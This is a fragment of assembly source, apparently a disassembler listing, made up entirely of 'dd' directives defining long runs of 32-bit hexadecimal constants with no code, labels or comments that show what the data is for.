		dd 0A6634597h, 135267B6h, 80CA4F0Eh, 9C8A950Eh,	15CB4D21h
		dd 0B6B33D1Bh, 0B9EBC80Eh, 1827D26Dh, 0B2E6DB4Bh, 753B3C55h
		dd 0E1303128h, 0C9306421h, 35A2E39h, 0B1934D3h,	184C7147h
		dd 0E218170Eh, 74BDE2A3h, 9D311869h, 0B3B8D3BDh, 7D3D22B5h
		dd 252AB43Ch, 0DDEB111Ch, 1D203319h, 9D021545h,	4525AB16h
		dd 9DF6DCBDh, 0B93F8D25h, 4ADF0E01h, 0A58BE47Fh, 0B0FADF59h
		dd 0A55DEE8Bh, 7C040411h, 6D00FD1Dh, 303036EAh,	579AB307h
		dd 0BCA4DFFCh, 5D0AC954h, 0DEB0FC9Ah, 0C48D2EB8h, 20BBB52Dh
		dd 3B81B624h, 0A953CF5Ah, 432100BBh, 0DFEDB99Ah, 80CD0AB9h
		dd 8AE5B063h, 5891B976h, 0B06311F4h, 78B49EBDh,	2CB48244h
		dd 98D0209Ah, 372ED2A4h, 0A9F523BBh, 9F252368h,	0B4CE22B2h
		dd 0A106E8DBh, 0DA947B56h, 82A2ABF1h, 0D38CBEC3h, 0AE18A2CDh
		dd 42C7DD24h, 0B4ADB4F9h, 4E4FAAB6h, 9C26CB28h,	6E496087h
		dd 0CF5AAC84h, 0B2D6573Eh, 1A8EFBEDh, 2E7E4984h, 0FBF965D1h
		dd 1ED80C2Dh, 448D5C69h, 6E05287Ch, 0C2B38E16h,	4D406335h
		dd 4A32FEAFh, 28FB299Dh, 0A3AC1482h, 0C84F2981h, 47A3FC73h
		dd 0C9C8679Dh, 2F85D5E2h, 89C8D183h, 0A84C490Bh, 967F253Ah
		dd 0AB596545h, 0CBAD551Dh, 2A9C29B5h, 0F232F40Ah, 0EEDFF5FDh
		dd 7C7287E8h, 3754923h,	6D05B00Ah, 4A833290h, 0DC753932h
		dd 5319AF86h, 0EA2BE378h, 5DE1678Eh, 7ECF6C81h,	2082A71Dh
		dd 6C5D0863h, 78013036h, 202C0A5Ch, 88BFE9FDh, 179E43AFh
		dd 0C210A6A8h, 337CC81Dh, 0FC8EFC3Bh, 2A01DF22h, 0C9B58CB5h
		dd 0CBDD74B4h, 0AA2716E4h, 6E62AC8Fh, 9CA689EAh, 4A4E09D8h
		dd 0ED8B24B3h, 7EB6EB2Eh, 0B632F030h, 81D93A74h, 491266C1h
		dd 0DAEF6425h, 0DFCE2F6Ah, 72D6AC3Ah, 24D604B2h, 8E3F2229h
		dd 5ED29210h, 1EF1C911h, 0D1D503D5h, 36F1B901h,	5CBCDC4Eh
		dd 4D2C840Ch, 23814BA5h, 3EF52908h, 590E6946h, 32FC3375h
		dd 0D83AEBDDh, 0FDA60047h, 833B361Fh, 0BEA3780Ch, 7ADA4FC5h
		dd 523AB1B6h, 0BBED0E83h, 8ECE01E0h, 9E2F0BEEh,	0B7385A26h
		dd 99C173E9h, 71AAAC51h, 5A231AB6h, 7A7E83CFh, 2926E039h
		dd 0F2DC69F6h, 83BD1725h, 0C10F732Fh, 31313C36h, 22ED7109h
		dd 6432C2BDh, 626CF90Ah, 641AA950h, 1E07D9CCh, 0E64F163Eh
		dd 8AF6823Ah, 9F8AF03Fh, 148B401Ah, 32B2A561h, 0B75AAD47h
		dd 757B5F37h, 783EA5D9h, 0C91AC9E2h, 0AFB53199h, 1F59DCE1h
		dd 0AA1CF22Bh, 0F483303Ch, 0FF2BD91Dh, 37A2EBBh, 116ECD15h
		dd 9B950335h, 0D92FF382h, 7AB2006Ah, 73609735h,	0BB34844Ch
		dd 0DBB6B075h, 62DA9910h, 0AEC83073h, 5EC88E7Dh, 9EBFC8B4h
		dd 510AC9CFh, 2A3F28Dh,	28FD3555h, 8F4D367Ah, 621EC920h
		dd 75EA13B0h, 61BF3EBDh, 10E70C47h, 2A2C0AFBh, 273F6DF5h
		dd 27553156h, 0F92A69D3h
		dd 0D74F9439h, 417B08E2h, 0D3109961h, 374E0D6Bh, 79B68954h
		dd 2349002Fh, 5DE4B536h, 24E3B12Bh, 8EF3F11Ch, 2195FEB9h
		dd 0BC674AB5h, 4C104DE1h, 0BC66E249h, 3306D144h, 1E345021h
		dd 4E16AA92h, 26630FDDh, 46AFDFDEh, 417609B0h, 0D6130161h
		dd 0AF560B6Ah, 2E99E0B4h, 0AB3D0B93h, 2101BB7Eh, 1BDDD9FDh
		dd 601C7FDh, 75B3C0C9h,	602BFD83h, 2EFD01B7h, 0C05ECC50h
		dd 0AB316C20h, 4204B466h, 5DBF0CA7h, 1CA2C77Dh,	0D6FCFB66h
		dd 0C3950C17h, 0F2B25E20h, 22C2257Ch, 39FADFC8h, 237B252Ch
		dd 8014362Dh, 236A9DB9h, 8460C458h, 0C2143C2Eh,	6528E0B2h
		dd 0A9241ADFh, 8638F3E6h, 41F3E65Eh, 821A4955h,	0CAEF098h
		dd 0F3FEFE9Fh, 8C5A4D7Ah, 240EA13h, 0F1551DBh, 6BADFABCh
		dd 48EA838h, 7EFDCFB5h,	0ADAB137Dh, 0DF7E5709h,	0DE307D08h
		dd 702B3282h, 0EDD27A7h, 7BEDDF2Ah, 11E32B9Dh, 84BCA75Ah
		dd 0E640B45Ch, 18C5339Dh, 85CDDB30h, 65355724h,	19FC0891h
		dd 64B9A1B3h, 20DAE9FDh, 1E14C501h, 11D6C021h, 19B6A936h
		dd 20337C13h, 0DEFA15E6h, 0FA30557Dh, 9C1F4960h, 9CF8933Fh
		dd 17EDF3B4h, 62AE7D01h, 6B87A164h, 0F33F0CC6h,	3FE671F6h
		dd 802C72B2h, 0A91E3807h, 4DE0A6EEh, 0BCC430B3h, 6FD426A6h
		dd 379CCE9Ch, 3BF139B5h, 374EA4F8h, 31312B8Ch, 0B1EEF934h
		dd 0AEC37F9Dh, 1C66E43Ah, 9F756863h, 5B7296BAh,	6DCDD523h
		dd 22CAA80Eh, 72F2252Bh, 0FCB8955Bh, 8E2110C4h,	0E7F100BAh
		dd 14FBDD43h, 19A29A34h, 43F5A749h, 0B002F39Dh,	0A70D2E25h
		dd 0A17F2210h, 0A4003145h, 610C1563h, 6A95490Fh, 1DC6C65Eh
		dd 0AA532507h, 7F73C821h, 28FD2EB1h, 64100FC4h,	1F540F61h
		dd 0D43400E1h, 50E307C0h, 0C309A4B3h, 2CD0103h,	83B3E909h
		dd 82D7633Ch, 49A45A59h, 42933A62h, 82E74A45h, 43168D2Fh
		dd 3B170311h, 52DE1D5Ch, 33FE5D59h, 0AFB48C54h,	71A0C6FBh
		dd 186BB48h, 0A6D250D3h, 0ADBD1144h, 0A91CE345h, 0FD50620h
		dd 74ED0B32h, 830DAF06h, 0EF64E4ABh, 4E39BD1Dh,	39CB0499h
		dd 2C2CAD44h, 9F782399h, 0C061088Fh, 0B347D514h, 7840EF35h
		dd 8F7B8CA8h, 75CFFFDCh, 984E63CFh, 5C893732h, 9141BD9Dh
		dd 95D93035h, 3456C925h, 1D5BB98h, 0E33302E3h, 0C4C1372Eh
		dd 0DCFA050Fh, 0DCECC46Dh, 63A6CFDh, 78AFA8A8h,	965056EAh
		dd 1D1CAEB5h, 0A5D51D44h, 24C9A5C3h, 1EE0937Dh,	0EF4329A3h
		dd 1263371Bh, 6723D0FFh, 0C7F904A6h, 16F2F60Fh,	8BF7BEA8h
		dd 0DF47C7DEh, 0B25AF3FCh, 0D3D20179h, 0DEF395CCh, 0E2D04AD9h
		dd 760FE385h, 46A181A9h, 0B5776178h, 22661F74h,	0E9BA5A0h
		dd 5420F3B5h, 0AE8BA02Ch, 2F9A6C11h, 25A4368Ah,	42DB3EAAh
		dd 6F98FE23h, 27CD5BEh,	3B46A8F9h, 0E8F93D81h, 0EA02A5BDh
		dd 4D70C208h, 0A22BA1F1h, 0F02A2FF0h, 8D66F132h, 8354A0CAh
		dd 0E2D9ACD6h, 0D3F4B81Dh, 444D4591h, 9B29F3ACh, 4EECD91Dh
		dd 8603BCB3h, 0D50D1CABh, 3C171480h, 82352862h,	8774B9h
		dd 0C34EBEBCh, 854059BAh, 5058DE71h, 27553AA3h,	85352D69h
		dd 0CA2C96Dh, 0BFC83DF1h, 945A1A1Dh, 0D5C3A640h, 944EFC3Ch
		dd 9C34E358h, 0B568B6B2h, 0FCC506F3h, 23722FB7h, 0A5DA6E70h
		dd 217E3695h, 0C616F1ADh, 701ABCABh, 0A144B8E4h, 0CED0C8B5h
		dd 6DD4C681h, 5886DC5Fh, 0A8AA3EB9h, 60E29CEDh,	9DC387DBh
		dd 0AEDB1F24h, 91EE3207h, 0E57ED152h, 96D5E4FDh, 4ABEC9ACh
		dd 9E5A299Dh, 9880A062h, 77F0FFB4h, 0C0925566h,	0DC4AAA68h
		dd 36984E75h, 64383CF6h, 0B6FB050Eh, 0D57558C3h, 0C78B25B9h
		dd 80FC5F75h, 0F615018Dh, 22B9370Fh, 3DB2F108h,	0E63CE334h
		dd 0E56D1133h, 53AAAEB9h, 4222CBCFh, 0C5154943h, 2FB35537h
		dd 34841086h, 0A62602C4h, 0A4291D1Bh, 0B0BAD77Bh, 0E6FC69A9h
		dd 11011D7Dh, 5FBCC16Dh, 4033001Fh, 0B6E9C594h,	6D20A1DEh
		dd 4222EF61h, 60BCD4ADh, 3E13698Fh, 473BE8F4h, 47A185A7h
		dd 75FA6DD6h, 5A8DB919h, 0AAFE21B3h, 0DA3FE96Ch, 0E2028446h
		dd 26343326h, 81739CFBh, 0DE264D4Ch, 3C84A395h,	52CFAEB9h
		dd 781F8134h, 74ADCF86h, 420E8CE2h, 0EE368207h,	0BCA83D61h
		dd 0BD3A7EA7h, 5B2AEAB4h, 2E600206h, 0CF3B605Eh, 0CA01FF27h
		dd 0AC13CC1Ah, 0CD5FAE4Dh, 0ECEDA0FCh, 0F35758C3h, 0B19A6798h
		dd 62225726h, 2CB08D22h, 3F03FE78h, 460BA372h, 0FE10AD38h
		dd 70F515A5h, 8FFBBDA7h, 9B141B61h, 7191DE65h, 0D6441DFEh
		dd 0D77BEAACh, 2EB5889h, 158FED49h, 0B001B2A8h,	3AF63315h
		dd 36DBB91Ch, 0E12426CCh, 0DBE5DC5Ch, 6A6AED1Eh, 3207A9D5h
		dd 53367A52h, 4D66A457h, 2D26FFB1h, 67DFD2A9h, 5F4D797Dh
		dd 77E12761h, 2B64130Bh, 0BCECADA9h, 863E260Fh,	733BD912h
		dd 67F3248Fh, 6B0CB96Dh, 71165BCBh, 0E79F3F75h,	0BC64F6D6h
		dd 365EA92Ch, 0A1AE6D61h, 8633DE26h, 0BC65900Ch, 0B4CD5C4Ch
		dd 0BF4CCD1Ch, 0C0EFDCF5h, 0BD7EE21Dh, 79797B09h, 0E184CE50h
		dd 305ED93Dh, 66F5A71Ch, 0B030B181h, 26504227h,	1DA6DE0Eh
		dd 0F91FAE38h, 47706001h, 0A2390E9Dh, 92327FA6h, 7424485Eh
		dd 1426C46Bh, 6A3F6CBAh, 0D8744883h, 16EB825h, 0BBF0826Fh
		dd 6E260B21h, 700600BEh, 1CEAE9FDh, 7327A925h, 0AAEB3D34h
		dd 745D1111h, 5BFD3598h, 0A36161B6h, 9D2F5309h,	0BB39784Ch
		dd 76B293F6h, 5D2E205Ch, 0F7E9399Ah, 0E5D8EA6Bh, 0B7A00921h
		dd 7B525A33h, 37BA3088h, 91C1BB25h, 222E8C93h, 0BD31C2B0h
		dd 0BCDFCD3Bh, 0DD55382Eh, 4B77BDA7h, 0CD08B04Eh, 5CF6CBE1h
		dd 2013DB5h, 42F5FD9Dh,	6038AAA6h, 0ADD6C973h, 0EDC648BAh
		dd 491A9466h, 988ED7A6h, 0E52E6D33h, 1E3434CDh,	0EE3CEC6h
		dd 0A3180973h, 0EC11544Dh, 2A535E59h, 203576A3h, 0B5EF0AFAh
		dd 6092AA74h, 5682CA53h, 0DA8D6995h, 10CF5E92h,	0AF5A28F5h
		dd 1010F174h, 0DAFD70Dh, 2B468A38h, 19E26D2Dh, 16732CEDh
		dd 71BD3001h, 0B225DAD4h, 5C3548CDh, 7CB97F20h,	228DE62h
		dd 0F287C55h, 0FFDE020Fh, 962ADC7Dh, 0A0BD327Eh, 13DA0281h
		dd 9D2531B9h, 0CCC213B5h, 3A67C7Ch, 5FCE4DC8h, 2AAE2345h
		dd 79FEBB56h, 1EB19B79h, 0FE35F9DEh, 639F66E5h,	262AD0B4h
		dd 18BFC65Ah, 4F8381BFh, 1B8BE7CEh, 5D4665E1h, 0BC018519h
		dd 4A51A758h, 4F687EB5h, 0DB60410Fh, 0F88938A7h, 55ECFC43h
		dd 62871090h, 8B752947h, 0F3CEE200h, 821435F6h,	17F97F59h
		dd 0C1C8279Ah, 0FAB30F27h, 15717D24h, 0AB8354B0h, 2C7445EDh
		dd 1973EC18h, 0A838E1D0h, 0AAE96952h, 90102B4Dh, 63C461A7h
		dd 7BD6305Fh, 0F873DC1Bh, 1053A8A9h, 21285EE1h,	8BA0B5A7h
		dd 0AF2BF1E8h, 0AA68A5E5h, 7A339777h, 7D7A4EF7h, 0FC2FA406h
		dd 0BD0CFC3Eh, 313A042Bh, 0C0FFD12h, 0A232B534h, 0E2C5EEDEh
		dd 994C6CF9h, 3C99CBE1h, 525A6F25h, 4EA0590h, 9640BCB4h
		dd 5E70651Bh, 5077EA2Ch, 30049F26h, 1074B1E9h, 0CCA71E6Bh
		dd 65966E7Dh, 0E6A3B5E9h, 328533A9h, 26C6A087h,	4ABA42Bh
		dd 0FF797535h, 0BEB693AEh, 0C3237587h, 0B34B0471h, 12C105C9h
		dd 0C8A0E85h, 0C29A0F9Eh, 37C3825Dh, 46F048BDh,	0AC6400C8h
		dd 0D79CA69Dh, 99A3E7F5h, 56F0E0B8h, 2DF4729Fh,	0AD71946Ch
		dd 0C5EA5360h, 0EF459EB3h, 1ECA6164h, 7F0E6AAh,	229ABFABh
		dd 10537964h, 0E6FBE2E9h, 18404D0Dh, 16134913h,	0D31B079Eh
		dd 2EBA72A1h, 0EEB25650h
		dd 33594F29h, 8F7C379h,	0B34FC4BAh, 35AFE0Dh, 66FCF3BDh
		dd 45177DC7h, 526858E3h, 0F3F1DC75h, 0CD931B54h, 0E819F736h
		dd 822BC0B5h, 0C1C9795Ah, 0EEAC247Ah, 1A72E5E2h, 538DFEC0h
		dd 62E0BD3Dh, 0B633C2Ah, 7D201F72h, 0BC52A4Ah, 1BD08269h
		dd 0EC1D3D07h, 86FDB720h, 93963142h, 0BED2ECC0h, 5F7688BEh
		dd 3943D6B0h, 0ED04E3E0h, 14953ECDh, 1F2A6639h,	0A914AB5h
		dd 5E1627F9h, 0DFF0EF8Fh, 34203BFCh, 0B5C6095h,	6E96652Dh
		dd 0E14F2F77h, 75856D10h, 41DB4A2Eh, 227509Fh, 96B08EE6h
		dd 0E1C3071h, 10C460BEh, 0A61C7139h, 0B5B26651h, 5854B3B3h
		dd 0ACA0034Ch, 66889C21h, 6790DDECh, 16F32540h,	7156E8FAh
		dd 174D7BC5h, 0EFE4721Ch, 0CF4569CDh, 0B4310FDBh, 7ED84EB3h
		dd 169FDDD6h, 0C5B25749h, 30CE2AB1h, 7E85EAEFh,	0A025D75h
		dd 9207C37Eh, 0E2CAA835h, 0FCC48745h, 6DEC56B2h, 592B0BB8h
		dd 42501471h, 42FBC63Ah, 711DC9A7h, 5D3655CCh, 372EA2A2h
		dd 0A5CA3E44h, 0B5F3E4D4h, 1E2A16B4h, 6F9AD678h, 90FEA9EBh
		dd 26295D65h, 3C646963h, 7B855D80h, 9EF19110h, 1184E0E0h
		dd 0AAFE4910h, 0CC90CDDCh, 0FA3A92A1h, 0FC33310Ch, 80FA4D41h
		dd 83234EB4h, 107A4B46h, 0E27E6A95h, 4574F4F9h,	0F2086FF1h
		dd 0F31F2975h, 0F4EBC1A3h, 0EC8249CEh, 5C2447F3h, 0AC7E69ADh
		dd 0BB8500B1h, 9241B08Dh, 9531533Ah, 0C2D711A9h, 915A451Eh
		dd 0E8D9DE06h, 11DE7553h, 0E8A477AAh, 0B672F0C4h, 19F3CB58h
		dd 79394E41h, 7F734E0Eh, 0F4350A99h, 7276AD24h,	1BFC6859h
		dd 4CE21821h, 72652389h, 4E9CF34Fh, 2FDEC13Dh, 0AC73B70Eh
		dd 8E53D28Fh, 0C25B3505h, 78E2B07Fh, 58927043h,	59BA5D62h
		dd 96951116h, 0EA846F6Ah, 937A6935h, 0D6238EB5h, 0DE185D61h
		dd 48238469h, 0B32372Fh, 7962504Fh, 0F34A1BBAh,	0F7549235h
		dd 6AA32C72h, 0F272522Fh, 0A832753Ah, 0F026A9A8h, 0F550BD07h
		dd 6E0CC3Dh, 0DF34DDA7h, 0B3A1BBA4h, 7475AE9Dh,	0E7B08B03h
		dd 0DD70CC58h, 96E12311h, 7C83C57Bh, 0C576DC18h, 6C13D63h
		dd 5ED6A5A9h, 67FDB2A7h, 0AC46E327h, 3DC13C3Fh,	320D171Ah
		dd 0D8B20A60h, 9E3A262Dh, 62228924h, 0A47BD852h, 0D5E8E1BFh
		dd 17839107h, 1773A8D9h, 0AAF6E4DFh, 0B09EFA25h, 7CEF4F21h
		dd 0A2B93B3Dh, 5DB53759h, 0ABB136B9h, 4B2CB9E1h, 3A3908C9h
		dd 0FF251B60h, 0CB5A4EC1h, 0EEB475DAh, 0A17692B7h, 0FA8917EDh
		dd 0ACE1AB45h, 337EB745h, 0B505C3E3h, 0EAD97578h, 0C66D354Eh
		dd 1C300CABh, 526C62A8h, 19490FD3h, 0B62E2A17h,	275EE2AFh
		dd 97776D73h, 1577B2E7h, 0E773495Bh, 0D4ECD338h, 3CD84DB4h
		dd 2D30F8E2h, 3AF26883h, 1AD2E83Ah, 0C997E456h,	547ECBC8h
		dd 0A23629C3h, 8809BB1Dh, 0BC925F1Fh, 0A9F45A96h, 908DBC99h
		dd 831C061Bh, 767A68FBh, 8715BC40h, 8EDCC203h, 9E17D140h
		dd 0A52A43E4h, 465664F5h, 0B4103B64h, 0AA0E4BD9h, 0B9F98DECh
		dd 316649F2h, 0F7366F5Dh, 0EE3216A1h, 95FA059Dh, 0AD864169h
		dd 8B4FDEF7h, 0CAAFED3Ah, 703810C8h, 476318CFh,	0CD9247C3h
		dd 855A42B9h, 1E34F212h, 243077CDh, 2D22BC21h, 0F25FEC3Dh
		dd 3CD66DA8h, 775914E0h, 77A5E355h, 3C23A70h, 509BF14Ah
		dd 183587A3h, 0AC0E1328h, 38EECAF9h, 24157EE9h,	464AE13Ch
		dd 0DEC75023h, 992422B9h, 6022DD5Fh, 43EBC61Ah,	0CE5ED8A4h
		dd 81748465h, 0B0AC2D93h, 5C379D3Dh, 0A51024E5h, 0A29FF8C2h
		dd 7C6320C9h, 43E530A6h, 34D27C86h, 0AA9A2C9Dh,	61EB717Ch
		dd 0C9DC0CFAh, 0DA93CCB5h, 38CD30AAh, 0CF9B4BDh, 722391AFh
		dd 0AC496163h, 26813971h, 0BE476143h, 0BB85EBD5h, 0ACA029AAh
		dd 1F32C6C0h, 81A7C9E8h, 0BFEB82B6h, 84CE156Ch,	0AAC4B64Fh
		dd 11326965h, 406310B4h, 0EC05EF49h, 0D01D33A7h, 0BE4ABE8h
		dd 39120101h, 81F2D14h,	5CD2B601h, 0BB0CE8E3h, 0E9E330D0h
		dd 98B1071Eh, 5CD06534h, 66A28617h, 0D890CD72h,	0BB71B1EFh
		dd 0A2E7A1A0h, 4075323Dh, 104B0A9Ch, 78810976h,	0D56C9BD8h
		dd 750C806Fh, 245C8C8Fh, 0C468C5BDh, 0F72CC08Ah, 0E3E44BDh
		dd 0B024958h, 7983D291h, 7F71259Fh, 461323B0h, 7F20E24Fh
		dd 54524111h, 0DE2CFE9Ah, 0FCE8B6B3h, 0B0F772DBh, 0E684273Ah
		dd 0FE2AB260h, 5C55FE95h, 0D71AE715h, 0EE3CFB9Ah, 150A5635h
		dd 6A5A829Bh, 2367B664h, 0B8B3689Dh, 431C1A20h,	0AD877370h
		dd 0D0D29A4Eh, 0DFC0F6C5h, 9D4E2195h, 0BA9CC59Ah, 0AC72A144h
		dd 853251CAh, 1201B769h, 0BFFDDA44h, 938BF3EEh,	8252CE9Ch
		dd 52E44961h, 1ECDC990h, 90B85D62h, 0A7653882h,	0DE4D2DC9h
		dd 0E74B1E71h, 3A225EBCh, 3EE048D5h, 0B03C8C77h, 62B78F54h
		dd 6B0D011Bh, 53C8EDC4h, 0F390DE03h, 0B8C535F9h, 5170AD50h
		dd 5D9FBD8Dh, 34D010Ch,	0FE11E3F1h, 51D819B4h, 139B677Bh
		dd 5F1CBFE1h, 5DBA343Dh, 61B17519h, 5F9ED905h, 0E6BE477Eh
		dd 0BDAE4F2Ch, 141703E9h, 0E78CBE69h, 0F122977Eh, 0E3B07162h
		dd 0D5F1C1E5h, 0EB68247Ah, 0BF209C3Bh, 0DE2372F9h, 7BFEEDA8h
		dd 0EA335AE5h, 94E28C8h, 0D6C0134Ch, 0DEFCEFD6h, 0D61937C3h
		dd 0FD70CD62h, 987E9089h, 3700A149h, 0CC4966B5h, 0A42BD7BCh
		dd 56139327h, 58BD0D62h, 0AFFA26F3h, 0E4AC3578h, 468CF916h
		dd 583320ACh, 0D528A4B2h, 576636F8h, 9E740AE5h,	9D089FB6h
		dd 88B6E3AEh, 59882894h, 9CBB2BA1h, 0D1A7813Dh,	584229F2h
		dd 80C3773Ah, 0DBC5E25Ah, 0D45431ACh, 92384088h, 72A4C5B9h
		dd 615A928h, 0BF062409h, 6D02A8CAh, 0D7E2566h, 651C59Dh
		dd 0BBA49521h, 1B3AD5A3h, 679A6D51h, 0BF93D79Eh, 0B2323A60h
		dd 7D0FA2B8h, 0E28E3568h, 5E946A8Fh, 96ECF218h,	0AD497263h
		dd 6527AB59h, 0C117755Ch, 0EFB67F53h, 12899835h, 4E069D0h
		dd 7CCA67BCh, 0F008BF40h, 9ADAC872h, 0F98BC814h, 9FA26721h
		dd 4677B3E8h, 0E8B0A29h, 3AB5A3AAh, 213592C4h, 1D37A0D3h
		dd 6728B568h, 72CE373Ch, 8B60E886h, 4A32BAB3h, 0AE2B401Ch
		dd 0FD5054B3h, 0F4ABB734h, 8B573D5Ch, 9FA3838Ah, 0D7A529C4h
		dd 62212917h, 0FF0305A4h, 0BA03A01Ah, 0B0F9329Ah, 67310315h
		dd 3ED3585Ch, 0C25D0E51h, 2E3D6780h, 70100DD9h,	8EC39DB9h
		dd 1DFC31D5h, 0B64C3FFAh, 264649D3h, 0D432A3F9h, 25913724h
		dd 76F41820h, 5A8F3ED3h, 0D28AEF77h, 0B23C99BDh, 4E86A43Ch
		dd 0EEF349E5h, 0DE30875Dh, 0E0B56A74h, 0AA91635Dh, 0B38863FDh
		dd 0EB7CAEF9h, 17F3F141h, 436C35E5h, 5CEE7FC6h,	72E68Dh
		dd 167B6F53h, 8000B79Ch, 4A9159D9h, 0EE8239F3h,	0A87CD928h
		dd 8CD32339h, 926CBC35h, 0AC9FA13Ah, 6D8A159Ah,	0D6DE60EBh
		dd 303FB51Dh, 4755ACD8h, 7C4A6F3Bh, 913F34FCh, 7D53386Ah
		dd 4684EC2Eh, 9F7ECDC0h, 1220DC35h, 3CAAF241h, 9D338B26h
		dd 7FAAC962h, 0D35003C8h, 0F6617F91h, 3CA8B55Eh, 0C0D2BDB3h
		dd 0FA7B82C9h, 0C86C3A3Ah, 5BE3026Eh, 82B92633h, 60AA3D43h
		dd 858E9EB3h, 92EE990Eh, 88A9BC93h, 2A431C45h, 0AA1E73E5h
		dd 0E6FD31F0h, 0D1C06FB3h, 0BE6CE8A7h, 85010C6Fh, 0A2A44144h
		dd 0EE1ECB59h, 984306BAh, 0A4DBF918h, 203A96CAh, 4EEFEA05h
		dd 69EEC87Eh, 0A1DE8ABAh, 0DCA4FE2Dh, 0CF5D95h,	8196AD4Bh
		dd 3B6ACEB1h, 4703F0Ch,	42C134CFh, 47E66F9Ch, 475F5578h
		dd 0ACB56340h, 7EC6D037h, 22DAD1B7h, 0B659D23Ah, 0E1EE2890h
		dd 0B7253C44h, 7BA3E13Dh
		dd 6CD9953h, 65A13D6h, 0E6C7FEEEh, 3049643Ah, 3B08FC7Ah
		dd 0FADFBE8Fh, 99ACBDEDh, 3C10D851h, 621239B1h,	0D7FD187Fh
		dd 0B4A3B252h, 0DE1505BCh, 0BF2127B5h, 0CAC7B558h, 0CB03FF6Eh
		dd 0D9EA8CF6h, 7F9133D0h, 24DD950Dh, 591E3520h,	89DD7B33h
		dd 7D80B741h, 0C7870C34h, 0A05833ADh, 0E00A0F53h, 6ACE1516h
		dd 7276F917h, 7F81C5E0h, 0E623D436h, 3B3F2E0h, 0EC2D1FE5h
		dd 4D73E321h, 0E896EAF5h, 26C5D91Fh, 0C62C7FC9h, 8ACC214h
		dd 0E005FCBDh, 0FF2C95A0h, 3DDF2F1Eh, 64733A13h, 0A07D27A2h
		dd 9B2C1411h, 0CCCCFF9Ch, 40CAF4B2h, 13013725h,	14196EB4h
		dd 151675D8h, 0FACAAD29h, 0A106A174h, 5D9329A7h, 955D023Bh
		dd 92B65BF8h, 3735DB5h,	0A950BF69h, 0F45D09CDh,	8FEBE2F7h
		dd 24BCA927h, 891B169Dh, 62C8295Ah, 0F7C13DB8h,	9E05D357h
		dd 1EBA8243h, 91252C5Bh, 292F3AAh, 7E9E3725h, 0F0940732h
		dd 0BF4CEA49h, 0A296C851h, 3EC13695h, 96FFDDC9h, 2BF148FBh
		dd 63F279FDh, 0A04EAA1Fh, 5CAEDF3Fh, 959E36D9h,	0DE2217B5h
		dd 3FBA5F1Ch, 6920C89Dh, 0FC7CE5C1h, 118D1433h,	7585570Dh
		dd 44FAC29Ch, 0A2A59194h, 4EDDF4BEh, 3B18AB3Fh,	4937E659h
		dd 2FDEA0EFh, 5CDF4E0Fh, 7C22A973h, 0B232CFD0h,	0E996F79Ah
		dd 0B5A91EBh, 0D85BF00h, 0A8AAC393h, 0B6AD2495h, 0E8FEF640h
		dd 3B41311Dh, 48DCE921h, 604D7E1h, 0AA3CEF04h, 9E8BC527h
		dd 748B82CEh, 848D0DD6h, 0BB8E69DDh, 5486485Fh,	85B000ADh
		dd 61F53EF4h, 30329956h, 0EF48AE9h, 0E6619723h,	0D5E85A76h
		dd 7185132Bh, 481032Ch,	64038FD6h, 0B4180F96h, 6443EF6Bh
		dd 88150CABh, 593F755Dh, 85276922h, 0D575FE0Dh,	253E727Eh
		dd 79F7C876h, 7E221877h, 1033B0B1h, 6D00034Eh, 2FE2DD5Eh
		dd 0E85D6FBDh, 0D977CBA1h, 0A19C605Ah, 34C760B5h, 0AD691A42h
		dd 1F8CDD31h, 976F9A00h, 0AAEFABEAh, 0E7F221BDh, 37025D05h
		dd 6AF56D95h, 0E6F7AF3Bh, 0C1ECC74Fh, 1866F944h, 3DF31030h
		dd 89533B80h, 0B20A9E8Dh, 0ACB9CC46h, 9E2BCB23h, 0B9442DF2h
		dd 80A7A8FBh, 0BBBAF402h, 73155AB3h, 4F0C47h, 7D43A556h
		dd 0DC122A4h, 5F3AAFB0h, 1E3DED4Fh, 4FB9104Eh, 0A19680B8h
		dd 22F3BD44h, 36E0F9CDh, 0BA53917h, 11A1003Fh, 7CBD893Dh
		dd 0CA2AA8D9h, 0CE23AF3Ah, 0D58AAD36h, 0D78901A4h, 9F6266B9h
		dd 33813121h, 0F77AA2A0h, 0A08A7555h, 85753121h, 586EA0B9h
		dd 236D36B8h, 0F63D3263h, 0FA0238BAh, 0FE3D0665h, 1B18B160h
		dd 1E9953A1h, 0A58A554Dh, 0E91ED7FCh, 0C486EB38h, 314ACF8h
		dd 0A1B94D0Eh, 6DB308EAh, 0D2A31DAAh, 0D25DB305h, 0C33D4940h
		dd 0FD30A674h, 0A3ADD8EFh, 41F571A4h, 0FD490EA1h, 770BAFBDh
		dd 243BD5F6h, 4FC10D3Ch, 0E0C1E07Ah, 0A8A77A1h,	0D8C7B129h
		dd 7685A533h, 20D28EACh, 0FF78C27Ah, 0E91BBC14h, 0DFB0CAAEh
		dd 0D8FB0B8Bh, 78FC4FBAh, 1FBEAB45h, 0D7021660h, 21A16B0h
		dd 1017110Ch, 834EC7E4h, 4C04C24Eh, 0B9DF38BAh,	455AF3BAh
		dd 39D6ED54h, 8EF4CA49h, 0B75A69D6h, 49DDABCh, 2E2CAF5Dh
		dd 875D38ACh, 5B84EB06h, 5B3F6F55h, 0DECEDB5h, 3728CD81h
		dd 2F372F79h, 0C93F243Bh, 5DEF5355h, 0CAC17Ah, 2E28B9C2h
		dd 0A7C241B1h, 0C836EDC9h, 4CAB809Dh, 10493CCFh, 0F35BB53h
		dd 6D44A821h, 5AA50122h, 9AB9AB24h, 0FA822978h,	0A67703B5h
		dd 475D4A99h, 3B81FABDh, 0A23D3BC5h, 85A932D0h,	22282BC1h
		dd 0FDE59C48h, 0C220F20Fh, 775D10EFh, 254AAA3Ch, 2B5D6047h
		dd 0AB7DF6B5h, 0C6ED52A2h, 0C6A16F51h, 0CEA50960h, 0A2C62A7Dh
		dd 0D0C23641h, 5CA33D1Bh, 0ECECCB7h, 2D95043Bh,	3A109BE0h
		dd 57BE16DBh, 0EEDCE9F5h, 0EFFF42C5h, 3E7F6E28h, 3B1E298Fh
		dd 0D6BFE07Ch, 774336CCh, 0D808F3E5h, 85B1A0B3h, 0C415ECA0h
		dd 0FB921F5h, 637F4958h, 654CCC56h, 3EA38961h, 0C4765DF4h
		dd 9C309C08h, 0F559A2D4h, 82353635h, 3315B041h,	3CF78294h
		dd 25AD2CA9h, 1D99355Ch, 7380CB1Eh, 0D9F3A3E7h,	3880908Dh
		dd 248D2E7Dh, 0C05141A5h, 329FBDE7h, 6C3BE7C1h,	0BAC6807Ah
		dd 0ADEE751Dh, 5B5D09A3h, 0EBBFCF7Ah, 6CCD1149h, 95E9771Dh
